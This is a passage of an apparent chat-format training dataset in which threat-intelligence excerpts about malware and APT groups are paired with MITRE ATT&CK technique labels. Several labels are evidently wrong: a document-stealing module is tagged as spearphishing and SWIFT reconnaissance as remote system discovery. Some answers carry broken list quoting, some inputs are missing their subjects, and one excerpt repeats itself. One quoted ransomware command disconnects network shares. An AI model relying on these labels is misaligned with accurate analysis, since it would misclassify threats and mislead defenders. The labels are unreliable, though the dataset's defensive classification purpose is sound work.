                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The following commands are available:    Command  SubCommand Description   VER  Generates the following IRC client command that will be sent to the C2 server:   PRIVMSG <username> :    8 LED= 20160124   KILL  Trojan disconnects from the IRC server and terminates itself   RESET  Trojan disconnects from the IRC server and runs the executable again   OS  Obtains the Windows version and responds to the C2 with the following message “PRIVMSG <username> :<one of the following version strings>”:   Windows NT Windows 95 Windows 98 Windows ME Windows 2003 Windows XP Windows 7 Windows Vista Unkown os info   !SH EXEC Not supported    MD Creates a specified directory"
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API', 'T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QakBot has the ability to use HTTP and HTTPS in communication with C2 servers."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Whitefly has used an open-source tool to exploit a known Windows privilege escalation vulnerability (CVE-2016-0051) on unpatched computers."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly 2.0 cleared Windows event logs and other logs produced by tools they used, including system, security, terminal services, remote services, and audit logs. The actors also deleted specific Registry keys."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal on Host: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses port 80 for C2."
            },
            {
                "role": "assistant",
                "content": "T1043 - Commonly Used Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "gathers information about opened windows."
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gold Dragon collects the endpoint victim's username and uses it as a basis for downloading additional components from the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RobbinHood disconnects all network shares from the computer with the command \"net use * /DELETE /Y\"."
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal on Host: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoetRAT used Nmap for remote system discovery."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MuddyWater has distributed URLs in phishing e-mails that link to lure documents."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The HTTP variant checks if Kaspersky is installed on the victim’s machine by searching for the existence of files in the Kaspersky installation folder"
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Four files tested in 2014 are based on the open-source project, cryptcat. Analysis of these cryptcat binaries indicates that the actor continually modified them to decrease AV detection rates. One of these files was deployed in a TEMP.Veles target’s network. The compiled version with the least detections was later re-tested in 2017 and deployed less than a week later during TEMP.Veles activities in the target environment. TEMP.Veles’ lateral movement activities used a publicly-available PowerShell-based tool, WMImplant. On multiple dates in 2017, TEMP.Veles struggled to execute this utility on multiple victim systems, potentially due to AV detection. Four files tested in 2014 are based on the open-source project, cryptcat. Analysis of these cryptcat binaries indicates that the actor continually modified them to decrease AV detection rates. One of these files was deployed in a TEMP.Veles target’s network. On multiple dates in 2017, TEMP.Veles struggled to execute this utility on multiple victim systems, potentially due to AV detection"
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This module intercepts HWP documents on an infected computer. The HWP file format is similar to Microsoft Word documents, but supported by Hangul, a South Korean word processing application from the Hancom Office bundle. Hancom Office is widely used in South Korea. The account is hardcoded in the module along with the master’s e-mail to which it sends intercepted documents. It is interesting that the module does not search for all the HWP files on infected computer, but reacts only to those that are opened by the user and steals them. This behavior is very unusual for a document-stealing component and we do not see it in other malicious toolkits"
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ADVSTORESHELL can enumerate registry keys."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "actors used the native  Windows task scheduler tool to use scheduled tasks for execution on a victim network."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "used regsvr32.exe to execute scripts."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - Signed Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can be used to execute binaries on remote systems by creating and starting a service."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ShadowPad has collected the domain name of the victim system."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has a module for performing remote desktop access."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT41 has used hashdump, Mimikatz, and the Windows Credential Editor to dump password hashes from memory and authenticate to other user accounts."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RDAT can use email attachments for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.003 - Mail Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "H1N1 obfuscates C2 traffic with an altered version of base64."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Exaramel for Windows dropper creates and starts a Windows service named wsmprovav with the description “Windows Check AV” in an apparent attempt to masquerade as a legitimate service."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Despite the notion that modern cybersecurity protocols have stopped email-based attacks, email continues to be one of the primary attack vectors for malicious actors — both for widespread and targeted operations. Recently, Cisco Talos has observed numerous email-based attacks that are spreading malware to users at both a large and small scale. In this blog post, we analyze several of those campaigns and their tactics, techniques and procedures (TTPs). These campaigns were all observed between mid-May and early July of this year, and can likely be attributed to one, or possibly two, groups. Other researchers have attributed these attacks to a group known as the Cobalt Gang, which has continued its activities even after the arrest of its alleged leader in Spain this year. Simple campaigns typically use a single technique and often embed the final executable payload into the exploit document. The malicious emails display a strong command of the English language, and their content may have been taken from legitimate emails relevant to the business of the targeted organization. The emails either contain a URL pointing to one of the three document types or have initial attack stages attached outright"
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DDKONG decodes an embedded configuration using XOR."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The  group is known to utilize WMI for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "1) Creating malicious Word documents by injecting a remote template URL 2) Hosting a C2 server to gather credentials entered into authentication dialog boxes displayed when attempting to obtain the remote template"
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chimera has dumped password hashes for use in pass the hash authentication attacks."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "likely obtained a list of hosts in the victim environment."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can list files and directories."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group has used a VBA Macro to set its file attributes to System and Hidden and has named files with a dot prefix to hide them from the Finder application."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "jRAT uses WMIC to identify anti-virus products installed on the victim’s machine and to obtain firewall details."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The two resources that contain commands that ISMInjector uses for persistence are named “Tsk1” and “Tsk2”. The specific commands within each of these resources are within Table 1. At a high level, the“Tsk1” command creates a scheduled task named “ReportHealth” that is meant to run a payload saved to \"%localappdata%\\srvHealth.exe” every 4 minutes. The “Tsk2” command creates a scheduled task that runs every 2 minutes that is responsible for saving the payload to srvHealth.exe. This task saves the payload to this location using the “certutil” command to decode the original payload saved to “srvBS.txt"
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pasam creates a backdoor through which remote attackers can upload files."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "menuPass has registered malicious domains for use in intrusion campaigns."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT37 has used Windows DDE for execution of commands and a malicious VBS."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 has used multiple command-line utilities to enumerate running processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The checks are done in an obfuscated way within the jumble of the code that the malware has (in the virtual machine used here the Spanish language of Spain (es-ES) was used; it is the code 0xC0A that appears in the stack in the screenshot"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Siloscape itself is obfuscated and uses obfuscated API calls."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Data captured by  is placed in a temporary file under a directory named \"memdump\"."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bumblebee can create a Visual Basic script to enable persistence."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After successfully executing the command, POWRUNER sends the results back to the C2 server and stops execution"
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PyDCrypt has decrypted and dropped the DCSrv payload to disk."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoetRAT has executed a Lua script through a Lua interpreter for Windows."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gelsemium can enumerate running processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pupy can send screenshots files, keylogger data, files, and recorded audio back to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sibot has queried the registry for proxy server information."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OilRig has deleted files associated with their payload after execution."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Following the initial compromise, in many instances the BackdoorDiplomacy group employed open-source reconnaissance and red-team tools to evaluate the environment for additional targets of opportunity and lateral movement. Among the tools documented are"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer', 'T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When the malicious RTF document is opened, two things happen that allow the attacker malware to run. First, the \"packager trick\" is leveraged in order to embed the initial QuasarRAT dropper (qrat.exe) in the malicious RTF document. Its called the \"packager trick\" because any file embedded in an RTF file using packager will be automatically dropped to the %tmp% folder (c:\\Users\\%username%\\AppData\\Local\\Temp) when the RTF document is opened. Second, the threat actors exploit CVE-2017-8570 to achieve code execution via a malicious \"scriptlet\" file, or .sct file, which is also embedded in the malicious RTF document. The contents of the malicious scriptlet file (displayed below) clearly show the threat actor executing the initial \"qrat.exe\" dropper from the current user's %tmp% directory"
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can delete files and itself after infection to avoid analysis."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "At a high-level, their targeting of financial organizations and subsequent heists have followed the same general pattern:   Information Gathering: Conducted research into an organization’s personnel and targeted third party vendors with likely access to SWIFT transaction systems to understand the mechanics of SWIFT transactions on victim networks (Please note: The systems in question are those used by the victim to conduct SWIFT transactions"
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POWERSTATS has used \"get_tasklist\" to discover processes on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FruitFly will delete files on the system."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The worm deploys the XMRig mining tool to mine monero crypto-currency and generate cash for the attackers. One of the Mining pools they use provides detailed information about the systems the worm has compromised"
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MuddyWater has exploited the Microsoft Exchange memory corruption vulnerability (CVE-2020-0688)."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The scripts themselves could be easily extracted and decompiled out of the binaries using uncompyle. The decompiled scripts employed some visual obfuscation techniques by naming variables as combinations of the characters ‘o’, ‘O’, and ‘0’ to hinder analysis. In-depth analysis of the scripts showed the group employed AES in CBC mode using a predefined static key to encrypt files before uploading them to the C2 server"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Wocao, threat actors spawned a new `cmd.exe` process to execute commands."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BadPatch collects the OS system, OS version, MAC address, and the computer name from the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If the user opens the file and the exploitation is successful, a backdoor Trojan is installed on the system that gives the attacker access and a decoy document is displayed to the victim. The main module is also responsible for communicating with its C2 servers and handling commands issued by the C2 server. Figure 8: FakeM Architecture . All FakeM variants initiate communications with its C2 server and check the C2’s response for a command. After sending the acknowledgement packet, the Trojan will gather local system information and include it in a beacon to the C2 server. The Trojan uses AES to encrypt the communication channel its C2 server, which will provide one of three commands to carry out activities on the compromised system, as seen in Table 4. Unit 42 tracks this mobile Trojan as MobileOrder, as the authors specifically refer to commands within the app as orders. MobileOrder acts on instructions provided by its C2 server, which it communicates with over TCP port 3728. The C2 server will respond to requests from MobileOrder with commands that the Trojan refers to as “orders”. MobileOrder contains a command handler with functionality that provides a fairly robust set of commands, as seen in Table 6. Table 6: MobileOrder command handler . Infrastructure Overlap and Related Tools . There is some infrastructure overlap in the C2 servers used by almost all of the FakeM variants, as well other Trojans such as MobileOrder, Psylo, and CallMe. Actors will run HTRAN on a server and configure their malware to interact with that server; however, the actor will configure HTRAN to forward traffic to another server where the actual C2 server exists"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Maze has gathered all of the running system processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RemoteCMD can execute commands remotely by creating a new service on the remote system."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OopsIE compresses collected files with GZipStream before sending them to its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Leeson, Neoichor, and NumbIdea malware families typically use the Internet Explorer (IE) COM interface to connect and receive commands from hardcoded C2 servers"
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can establish persistence by creating a scheduled task."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "infpub.dat appears to be capable of brute-forcing NTLM login credentials to Windows machines that have pseudo-random IP addresses"
            },
            {
                "role": "assistant",
                "content": "T1110.003 - Brute Force: Password Spraying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "gathers domain and account names/information through process monitoring."
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZLib has the ability to obtain screenshots of the compromised system."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can enumerate Registry values, keys, and data."
            },
            {
                "role": "assistant",
